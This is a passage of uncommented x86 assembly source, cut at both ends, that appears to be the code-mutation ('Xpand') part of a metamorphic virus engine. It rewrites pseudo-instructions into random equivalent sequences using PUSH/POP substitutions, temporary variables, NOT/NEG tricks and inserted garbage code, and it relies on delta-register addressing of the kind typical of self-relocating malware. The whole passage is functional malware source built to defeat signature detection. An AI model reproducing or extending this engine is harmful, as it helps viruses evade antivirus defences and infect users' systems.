call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
jmp @@Ret
@@Xpand_Next003:
cmp eax, 51h
jnz @@Xpand_Next004
call Xpand_SetMemoryAddress
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenPUSHMem
jmp @@Ret
@@Xpand_Next004:
cmp eax, 58h
jnz @@Xpand_Next005
mov eax, [esi+1]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
jmp @@Ret
@@Xpand_Next005:
cmp eax, 59h
jnz @@Xpand_Next006
call Xpand_SetMemoryAddress
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenPOPMem
jmp @@Ret
@@Xpand_Next006:
cmp eax, 68h
jnz @@Xpand_Next007
mov eax, [esi+7]
mov [ebp+Xp_Immediate], eax
call Xp_GenPUSHImm
jmp @@Ret
@@Xpand_Next007:
cmp eax, 70h
jb @@Xpand_Next008
cmp eax, 7Fh
ja @@Xpand_Next008
mov [ebp+Xp_Operation], eax
mov eax, [esi+1]
mov [ebp+Xp_Immediate], eax
call Xp_GenJcc
jmp @@Ret
@@Xpand_Next008:
cmp eax, 0E0h
jnz @@Xpand_Next009
call Xpand_SetRegister
call Xp_GenNOTReg
jmp @@Ret
@@Xpand_Next009:
cmp eax, 0E1h
jnz @@Xpand_Next010
call Xpand_SetMemoryAddress
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenNOTMem
jmp @@Ret
@@Xpand_Next010:
cmp eax, 0E2h
jnz @@Xpand_Next011
call Xpand_Set8BitsRegister
call Xp_GenNOTReg
jmp @@Ret
@@Xpand_Next011:
cmp eax, 0E3h
jnz @@Xpand_Next012
call Xpand_SetMemoryAddress
mov eax, 80h
mov [ebp+Xp_8Bits], eax
call Xp_GenNOTMem
jmp @@Ret
@@Xpand_Next012:
cmp eax, 0E4h
jnz @@Xpand_Next013
call Xpand_SetRegister
call Xp_GenNEGReg
jmp @@Ret
@@Xpand_Next013:
cmp eax, 0E5h
jnz @@Xpand_Next014
call Xpand_SetMemoryAddress
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenNEGMem
jmp @@Ret
@@Xpand_Next014:
cmp eax, 0E6h
jnz @@Xpand_Next015
call Xpand_Set8BitsRegister
call Xp_GenNEGReg
jmp @@Ret
@@Xpand_Next015:
cmp eax, 0E7h
jnz @@Xpand_Next016
call Xpand_SetMemoryAddress
mov eax, 80h
mov [ebp+Xp_8Bits], eax
call Xp_GenNEGMem
jmp @@Ret
@@Xpand_Next016:
cmp eax, 0E8h
jnz @@Xpand_Next017
@@CopyInstruction:
mov eax, [esi]
mov [edi], eax
mov eax, [esi+4]
mov [edi+4], eax
mov eax, [esi+7]
mov [edi+7], eax
add edi, 10h
jmp @@Ret
@@Xpand_Next017:
cmp eax, 0E9h
jnz @@Xpand_Next018
mov eax, [esi+1]
mov [ebp+Xp_Immediate], eax
call Xp_GenJMP
jmp @@Ret
@@Xpand_Next018:
cmp eax, 0EAh
jnz @@Xpand_Next019
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xpand_SetMemoryAddress
call Xp_GenCALLMem
jmp @@Ret
@@Xpand_Next019:
cmp eax, 0EBh
jnz @@Xpand_Next020
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xpand_SetMemoryAddress
call Xp_GenJMPMem
jmp @@Ret
@@Xpand_Next020:
cmp eax, 0ECh
jnz @@Xpand_Next021
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xpand_SetRegister
call Xp_GenCALLReg
jmp @@Ret
@@Xpand_Next021:
cmp eax, 0EDh
jnz @@Xpand_Next022
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xpand_SetRegister
call Xp_GenJMPReg
jmp @@Ret
@@Xpand_Next022:
cmp eax, 0F0h
jnz @@Xpand_Next023
@@Xpand_TranslateReg:
mov eax, [esi+1]
and eax, 0FFh
call Xpand_TranslateRegister
mov [esi+1], eax
jmp @@CopyInstruction
@@Xpand_Next023:
cmp eax, 0F2h
jz @@Xpand_TranslateReg
@@Xpand_Next024:
cmp eax, 0F1h
jnz @@Xpand_Next025
@@Xpand_TranslateMem:
call Xpand_SetMemoryAddress
mov eax, [esi]
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [esi+7]
mov [edi+7], eax
add edi, 10h
jmp @@Ret
@@Xpand_Next025:
cmp eax, 0F3h
jz @@Xpand_TranslateMem
@@Xpand_Next026:
cmp eax, 0F4h
jnz @@Xpand_Next027
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
mov eax, 1
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
mov eax, 2
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
jmp @@Ret
@@Xpand_Next027:
cmp eax, 0F5h
jnz @@Xpand_Next028
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov eax, 2
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
mov eax, 1
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
xor eax, eax
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
jmp @@Ret
@@Xpand_Next028:
cmp eax, 0F6h
jnz @@Xpand_Next029_
xor eax, eax
mov [ebp+Xp_Register], eax
call Xpand_SetMemoryAddress
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg
jmp @@Ret
@@Xpand_Next029_:
cmp eax, 0F8h
jnz @@Xpand_Next029
mov eax, [esi+7]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
call Xpand_SetMemoryAddress
call Xp_GenMOVZX
jmp @@Ret
@@Xpand_Next029:
cmp eax, 0FCh
jnz @@Xpand_Next030
call Xpand_SetMemoryAddress
mov eax, [esi+7]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenLEA
jmp @@Ret
@@Xpand_Next030:
cmp eax, 0FEh
jnz @@Xpand_Next031
call Xp_GenRET
jmp @@Ret
@@Xpand_Next031:
cmp eax, 0FFh
jz @@Return
@@Xpand_Next032:
cmp eax, 0F7h
jnz @@Xpand_Next033
call Xpand_SetMemoryAddress
xor eax, eax
mov [ebp+Xp_8Bits], eax
mov eax, [esi+7]
and eax, 0FFh
mov [ebp+Xp_Immediate], eax
mov eax, [esi+8]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
mov eax, [esi+9]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_SrcRegister], eax
call Xp_MakeSET_WEIGHT
@@Xpand_Next033:
@@Ret: call Random
and eax, 02h
or eax, eax
jnz @@Return
mov eax, [esi]
and eax, 78h
cmp eax, 38h
jz @@OnlyNOP
cmp eax, 48h
jz @@OnlyNOP
cmp eax, 0EAh
jz @@OnlyNOP
cmp eax, 0F6h
jz @@OnlyNOP
call Xp_InsertGarbage
@@Return: ret
@@OnlyNOP: mov eax, 90FDh
mov [edi], eax
xor eax, eax
mov [edi+0Bh], eax
mov [edi+0Ch], esi
add edi, 10h
ret
XpandThisInstruction endp
Xpand_SetMemoryAddress proc
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 9
jnz @@Next_NoIdent
mov eax, [esi+3]
mov eax, [eax]
add eax, [ebp+New_DATA_SECTION]
mov [ebp+Xp_Mem_Addition], eax
mov eax, [ebp+DeltaRegister]
call Xpand_TranslateRegister
mov [ebp+Xp_Mem_Index1], eax
mov eax, 8
mov [ebp+Xp_Mem_Index2], eax
ret
@@Next_NoIdent:
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 8
jae @@Next_Index
call Xpand_TranslateRegister
@@Next_Index:
mov [ebp+Xp_Mem_Index1], eax
mov eax, [esi+2]
mov ecx, eax
and ecx, 0C0h
and eax, 3Fh
cmp eax, 8
jae @@Next_Index2
push ecx
call Xpand_TranslateRegister
pop ecx
or eax, ecx
@@Next_Index2:
mov [ebp+Xp_Mem_Index2], eax
mov eax, [esi+3]
mov [ebp+Xp_Mem_Addition], eax
call Random
and eax, 1
jz @@Return
or ecx, ecx
jnz @@Return
mov eax, [ebp+Xp_Mem_Index1]
mov ecx, [ebp+Xp_Mem_Index2]
mov [ebp+Xp_Mem_Index1], ecx
mov [ebp+Xp_Mem_Index2], eax
@@Return: ret
Xpand_SetMemoryAddress endp
Xpand_UpdateLabels proc
mov ebx, [ebp+LabelTable]
mov ecx, [ebp+NumberOfLabels]
@@LoopLabel: mov eax, [ebx]
mov eax, [eax+0Ch]
mov [ebx+4], eax
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopLabel
ret
Xpand_UpdateLabels endp
Xpand_Set8BitsRegister proc
mov eax, 80h
jmp Xpand_SetRegister_Common
Xpand_Set8BitsRegister endp
Xpand_SetRegister proc
xor eax, eax
Xpand_SetRegister_Common:
mov [ebp+Xp_8Bits], eax
mov eax, [esi+1]
and eax, 0FFh
call Xpand_TranslateRegister
mov [ebp+Xp_Register], eax
ret
Xpand_SetRegister endp
Xp_GenLEA proc
call Xp_SaveOperation
mov eax, [ebp+Xp_Mem_Index1]
cmp eax, [ebp+Xp_Register]
jz @@Addition1
mov eax, [ebp+Xp_Mem_Index2]
cmp eax, [ebp+Xp_Register]
jz @@Addition2
mov eax, 40h
mov [ebp+Xp_Operation], eax
@@MOV_Other:
call Random
and eax, 3
or eax, eax
jz @@MOV_Other
cmp eax, 1
jz @@MOV_FirstIndex1
cmp eax, 2
jz @@MOV_FirstIndex2
@@MOV_FirstAddition:
mov eax, [ebp+Xp_Mem_Addition]
or eax, eax
jz @@MOV_Finished2
mov [ebp+Xp_Immediate], eax
call Xp_GenOPRegImm
xor eax, eax
mov [ebp+Xp_Mem_Addition], eax
jmp @@MOV_Finished
@@MOV_FirstIndex1:
mov eax, [ebp+Xp_Mem_Index1]
cmp eax, 8
jz @@MOV_Finished2
mov [ebp+Xp_SrcRegister], eax
call Xp_GenOPRegReg
mov eax, 8
mov [ebp+Xp_Mem_Index1], eax
jmp @@MOV_Finished
@@MOV_FirstIndex2:
mov eax, [ebp+Xp_Mem_Index2]
cmp eax, 8
jz @@MOV_Finished2
cmp eax, 8
jb @@MOV_FirstIndex2_Set
sub eax, 40h
@@MOV_FirstIndex2_Set:
mov [ebp+Xp_SrcRegister], eax
call Xp_GenOPRegReg
mov eax, [ebp+Xp_Mem_Index2]
cmp eax, 7
jbe @@MOV_FirstIndex2_Set8
sub eax, 40h
mov [ebp+Xp_Mem_Index2], eax
jmp @@MOV_Finished
@@MOV_FirstIndex2_Set8:
mov eax, 8
mov [ebp+Xp_Mem_Index2], eax
@@MOV_Finished:
xor eax, eax
mov [ebp+Xp_Operation], eax
@@MOV_Finished2:
mov eax, [ebp+Xp_Mem_Index1]
cmp eax, 8
jnz @@MOV_Other
mov eax, [ebp+Xp_Mem_Index2]
cmp eax, 8
jnz @@MOV_Other
mov eax, [ebp+Xp_Mem_Addition]
or eax, eax
jnz @@MOV_Other
call Xp_RestoreOperation
ret
@@Addition1: mov eax, 8
mov [ebp+Xp_Mem_Index1], eax
jmp @@MOV_Finished
@@Addition2: mov eax, 8
mov [ebp+Xp_Mem_Index2], eax
jmp @@MOV_Finished
Xp_GenLEA endp
Xp_GenOPRegReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jz @@Single
call Random
and eax, 3
or eax, eax
jnz @@Double
@@Triple: mov eax, [ebp+Xp_Operation]
cmp eax, 38h
jae @@Double
call Xp_SaveOperation
call Xp_GetTempVar
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg
pop eax
mov [ebp+Xp_Operation], eax
mov eax, [ebp+Xp_Register]
push eax
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg
pop eax
mov [ebp+Xp_Register], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double: mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Double_MOV
cmp eax, 38h
jz @@Double_CMP
cmp eax, 48h
jz @@Double_TEST
@@Double_OP: call Xp_SaveOperation
call Xp_GetTempVar
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
mov eax, [ebp+Xp_Register]
push eax
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg
pop eax
mov [ebp+Xp_Register], eax
pop eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_MOV:
call Random
and eax, 1
jz @@Double_OP
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Double_OP
mov eax, [ebp+Xp_Register]
push eax
mov eax, [ebp+Xp_SrcRegister]
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg
pop eax
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
jmp Xp_DecreaseRecurseLevel
@@Double_CMP:
mov ecx, 3Bh
mov edx, 2Bh
@@Double_CMPTEST_Common:
call Random
and eax, 1
jz @@Double_OP
call Xp_SaveOperation
push ecx
push edx
call Xp_GetTempVar
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg
pop edx
pop ecx
call Random
and eax, 1
jz @@Double_CMPTEST_Next
mov edx, ecx
@@Double_CMPTEST_Next:
add edx, [ebp+Xp_8Bits]
mov [edi], edx
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_SrcRegister]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_TEST:
mov ecx, 23h
mov edx, 4Bh
jmp @@Double_CMPTEST_Common
@@Single: mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Single_MOV
or eax, eax
jz @@Single_ADD
@@Single_OP: mov eax, [ebp+Xp_Operation]
add eax, 1
add eax, [ebp+Xp_8Bits]
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
mov eax, [ebp+Xp_SrcRegister]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_MOV:
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single_OP
call Random
and eax, 1
jz @@Single_OP
mov eax, 0FCh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
mov eax, [ebp+Xp_SrcRegister]
mov [edi+1], eax
mov eax, 8
mov [edi+2], eax
xor eax, eax
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_ADD:
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single_OP
call Random
and eax, 1
jz @@Single_OP
mov eax, 0FCh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov [edi+7], eax
mov eax, [ebp+Xp_SrcRegister]
mov [edi+2], eax
xor eax, eax
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenOPRegReg endp
Xp_GenOPRegImm proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jz @@Single
call Random
and eax, 3
or eax, eax
jnz @@Double
@@Triple: mov eax, [ebp+Xp_Operation]
cmp eax, 38h
jz @@Double
cmp eax, 48h
jz @@Double
cmp eax, 40h
jz @@Double
call Xp_SaveOperation
call Xp_GetTempVar
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Random
and eax, 1
jz @@Triple_1
call Xp_GenOPMemReg
pop eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemImm
@@Triple_Common:
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Triple_1: call Xp_GenOPMemImm
pop eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg
jmp @@Triple_Common
@@Double: mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Double_MOV
cmp eax, 38h
jz @@Double_CMP
cmp eax, 48h
jz @@Double_TEST
@@Double_OP: call Random
and eax, 1
jz @@Double_OP_Composed
@@Double_OP_Normal:
call Xp_SaveOperation
call Xp_GetTempVar
mov eax, [ebp+Xp_Operation]
push eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemImm
pop eax
mov [ebp+Xp_Operation], eax
cmp eax, 38h
jz @@Double_OP_Normal_Direct
cmp eax, 48h
jz @@Double_OP_Normal_Direct
call Xp_GenOPRegMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_OP_Normal_Direct:
add eax, 2
add eax, [ebp+Xp_8Bits]
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double_OP_Composed:
mov eax, [ebp+Xp_FlagRegOrMem]
push eax
xor eax, eax
mov [ebp+Xp_FlagRegOrMem], eax
call Xp_MakeComposedOPImm
pop ebx
mov [ebp+Xp_FlagRegOrMem], ebx
or eax, eax
jnz @@Double_OP_Normal
jmp Xp_DecreaseRecurseLevel
@@Double_MOV:
call Random
and eax, 1
jz @@Double_OP
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Double_OP
call Xp_GenPUSHImm
call Xp_GenPOPReg
jmp Xp_DecreaseRecurseLevel
@@Double_CMP:
call Random
and eax, 1
jz @@Double_OP
mov edx, 38h+4
mov ecx, 28h+4
jmp @@Double_OP_CMPTEST_Common
@@Double_TEST:
call Random
and eax, 1
jz @@Double_OP
mov edx, 48h+4
mov ecx, 20h+4
@@Double_OP_CMPTEST_Common:
call Xp_SaveOperation
push edx
push ecx
call Xp_GetTempVar
mov eax, 40h
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemReg
pop ecx
pop edx
call Random
and eax, 1
jz @@Double_OP_CMPTEST_Next
mov edx, ecx
@@Double_OP_CMPTEST_Next:
add edx, [ebp+Xp_8Bits]
mov [edi], edx
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Single_MOV
cmp eax, 38h
jz @@Single_CMP
cmp eax, 30h
jz @@Single_XOR
or eax, eax
jz @@Single_ADD
@@Single_OP: mov eax, [ebp+Xp_Operation]
add eax, [ebp+Xp_8Bits]
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_MOV:
mov eax, [ebp+Xp_Immediate]
or eax, eax
jz @@Single_MOV_0
@@Single_OP_MOV:
call Random
and eax, 3
or eax, eax
jnz @@Single_OP
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single_OP
mov eax, 000808FCh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_MOV_0:
call Random
and eax, 3
or eax, eax
jz @@Single_OP_MOV
cmp eax, 1
jz @@Single_MOV_0_XOR
cmp eax, 2
jz @@Single_MOV_0_SUB
@@Single_MOV_0_AND:
call Xp_SaveOperation
mov eax, 20h
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single_MOV_0_XOR:
add eax, 9
@@Single_MOV_0_SUB:
add eax, 26h
mov ecx, eax
call Xp_SaveOperation
mov [ebp+Xp_Operation], ecx
mov eax, [ebp+Xp_Register]
mov [ebp+Xp_SrcRegister], eax
call Xp_GenOPRegReg
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single_CMP:
mov eax, [ebp+Xp_Immediate]
or eax, eax
jnz @@Single_OP
call Random
and eax, 3
or eax, eax
jz @@Single_OP
cmp eax, 1
jz @@Single_CMP_OR
cmp eax, 2
jz @@Single_CMP_AND
@@Single_CMP_TEST:
add eax, 27h
@@Single_CMP_AND:
add eax, 17h
@@Single_CMP_OR:
add eax, 8
add eax, [ebp+Xp_8Bits]
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_XOR:
mov eax, [ebp+Xp_Immediate]
cmp eax, -1
jnz @@Single_OP
call Random
and eax, 1
jz @@Single_OP
call Xp_GenNOTReg
jmp Xp_DecreaseRecurseLevel
@@Single_ADD:
mov eax, [ebp+Xp_Immediate]
cmp eax, 1
jz @@Single_ADD_NOTNEG
cmp eax, -1
jz @@Single_ADD_NEGNOT
@@Single_OP_ADD:
call Random
and eax, 1
jz @@Single_OP
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single_OP
mov eax, 0FCh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov [edi+7], eax
mov eax, 8
mov [edi+2], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_NOTNEG:
call Random
and eax, 1
jz @@Single_ADD_INC
call Random
and eax, 1
jz @@Single_OP_ADD
call Xp_GenNOTReg
call Xp_GenNEGReg
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_INC:
xor ebx, ebx
@@Single_ADD_INCDEC_Common:
mov eax, [ebp+Xp_8Bits]
add eax, 4Eh
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
mov [edi+7], ebx
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_NEGNOT:
call Random
and eax, 1
jz @@Single_ADD_DEC
call Random
and eax, 1
jz @@Single_OP_ADD
call Xp_GenNEGReg
call Xp_GenNOTReg
jmp Xp_DecreaseRecurseLevel
@@Single_ADD_DEC:
mov ebx, 8
jmp @@Single_ADD_INCDEC_Common
Xp_GenOPRegImm endp
Xp_GenOPMemReg proc
@@Start: call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 7
or eax, eax
jnz @@Single
call Random
@@Multiple: mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single
mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Multiple_MOV
@@Multiple_OP:
call Xp_SaveOperation
call Xp_GenPUSHMem
call Xp_GetTempVar
call Xp_GenPOPMem
mov eax, [ebp+Xp_Operation]
cmp eax, 38h
jz @@Multiple_OP_CMP
cmp eax, 48h
jz @@Multiple_OP_TEST
@@Multiple_OP_Common:
call Xp_GenOPMemReg
call Xp_GenPUSHMem
call Xp_RestoreOperation
call Xp_GenPOPMem
jmp Xp_DecreaseRecurseLevel
@@Multiple_OP_CMP:
mov ecx, 3Bh
mov edx, 2Bh
jmp @@Multiple_OP_CMPTEST_Common
@@Multiple_OP_TEST:
mov ecx, 23h
mov edx, 4Bh
@@Multiple_OP_CMPTEST_Common:
call Random
and eax, 1
jz @@Multiple_OP_CMPTEST_Next
mov edx, ecx
@@Multiple_OP_CMPTEST_Next:
add edx, [ebp+Xp_8Bits]
mov [edi], edx
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Multiple_MOV:
@@Multiple_MOV_Other:
call Random
and eax, 3
or eax, eax
jz @@Multiple_OP
cmp eax, 1
jz @@Multiple_MOV_1
cmp eax, 2
jnz @@Multiple_MOV_Other
@@Multiple_MOV_2:
call Xp_GenPUSHReg
call Xp_GenPOPMem
jmp Xp_DecreaseRecurseLevel
@@Multiple_MOV_1:
call Xp_SaveOperation
call Xp_GetTempVar
jmp @@Multiple_OP_Common
@@Single: mov eax, [ebp+Xp_Operation]
add eax, [ebp+Xp_8Bits]
add eax, 3
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenOPMemReg endp
Xp_GenOPRegMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
@@Multiple: mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single
mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Multiple_MOV
@@Multiple_OP:
call Random
and eax, 1
jz @@Single
call Xp_SaveOperation
call Xp_GenPUSHMem
call Xp_GetTempVar
call Xp_GenPOPMem
call Xp_GenOPRegMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Multiple_MOV:
call Random
and eax, 1
jz @@Multiple_OP
call Xp_GenPUSHMem
call Xp_GenPOPReg
jmp Xp_DecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_Operation]
add eax, [ebp+Xp_8Bits]
add eax, 2
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenOPRegMem endp
Xp_GenOPMemImm proc
@@Start: call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 1
jz @@Single
call Random
and eax, 3
or eax, eax
jnz @@Double
@@Triple: mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Double
call Xp_GenPUSHMem
call Xp_SaveOperation
call Xp_GetTempVar
call Xp_GenPOPMem
mov eax, [ebp+Xp_Operation]
cmp eax, 38h
jz @@Triple_CMP
cmp eax, 48h
jz @@Triple_TEST
call Xp_GenOPMemImm
call Xp_GenPUSHMem
call Xp_RestoreOperation
call Xp_GenPOPMem
jmp Xp_DecreaseRecurseLevel
@@Triple_CMP:
mov ecx, 2Ch
mov edx, 3Ch
jmp @@Triple_CMPTEST_Common
@@Triple_TEST:
mov ecx, 24h
mov edx, 4Ch
@@Triple_CMPTEST_Common:
call Random
and eax, 1
jz @@Triple_CMPTEST_Next
mov edx, ecx
@@Triple_CMPTEST_Next:
add edx, [ebp+Xp_8Bits]
mov [edi], edx
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double: mov eax, [ebp+Xp_Operation]
cmp eax, 40h
jz @@Double_MOV
or eax, eax
jz @@Double_ADD
cmp eax, 38h
jz @@Single
cmp eax, 48h
jz @@Single
@@Double_OP: mov eax, [ebp+Xp_FlagRegOrMem]
push eax
mov eax, 1
mov [ebp+Xp_FlagRegOrMem], eax
call Xp_MakeComposedOPImm
pop ebx
mov [ebp+Xp_FlagRegOrMem], ebx
or eax, eax
jnz @@Single
jmp Xp_DecreaseRecurseLevel
@@Double_MOV:
call Random
and eax, 1
jz @@Double_OP
mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Double_OP
call Xp_GenPUSHImm
call Xp_GenPOPMem
jmp Xp_DecreaseRecurseLevel
@@Double_ADD:
call Random
and eax, 1
jz @@Double_OP
mov eax, [ebp+Xp_Immediate]
cmp eax, 1
jz @@Double_ADD_NOTNEG
cmp eax, -1
jnz @@Double_OP
@@Double_ADD_NEGNOT:
call Xp_GenNEGMem
call Xp_GenNOTMem
jmp Xp_DecreaseRecurseLevel
@@Double_ADD_NOTNEG:
call Xp_GenNOTMem
call Xp_GenNEGMem
jmp Xp_DecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_Operation]
cmp eax, 30h
jz @@Single_XOR
or eax, eax
jz @@Single_ADD
@@Single_OP: mov eax, [ebp+Xp_Operation]
add eax, [ebp+Xp_8Bits]
add eax, 4
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_XOR:
mov eax, [ebp+Xp_Immediate]
cmp eax, -1
jnz @@Single_OP
call Random
and eax, 1
jz @@Single_OP
call Xp_GenNOTMem
jmp Xp_DecreaseRecurseLevel
@@Single_ADD:
call Random
and eax, 1
jz @@Single_OP
mov eax, [ebp+Xp_Immediate]
cmp eax, 1
jz @@Single_INC
cmp eax, -1
jnz @@Single_OP
@@Single_DEC:
mov ebx, 8
@@Single_INCDEC_Common:
mov eax, [ebp+Xp_8Bits]
add eax, 4Fh
mov [edi], eax
push ebx
call Xp_CopyMemoryReference
pop ebx
mov [edi+7], ebx
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_INC:
xor ebx, ebx
jmp @@Single_INCDEC_Common
Xp_GenOPMemImm endp
Xp_GenPOPReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 2
or eax, eax
jnz @@Single
@@Multiple: call Xp_SaveOperation
call Xp_GetTempVar
call Xp_GenPOPMem
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 58h
jmp Xp_GenPUSHReg_Common
Xp_GenPOPReg endp
Xp_GenPOPMem proc
call Xp_IncreaseRecurseLevel
@@Single: mov eax, 59h
jmp Xp_GenPUSHMem_Common
Xp_GenPOPMem endp
Xp_GenPUSHReg proc
call Xp_IncreaseRecurseLevel
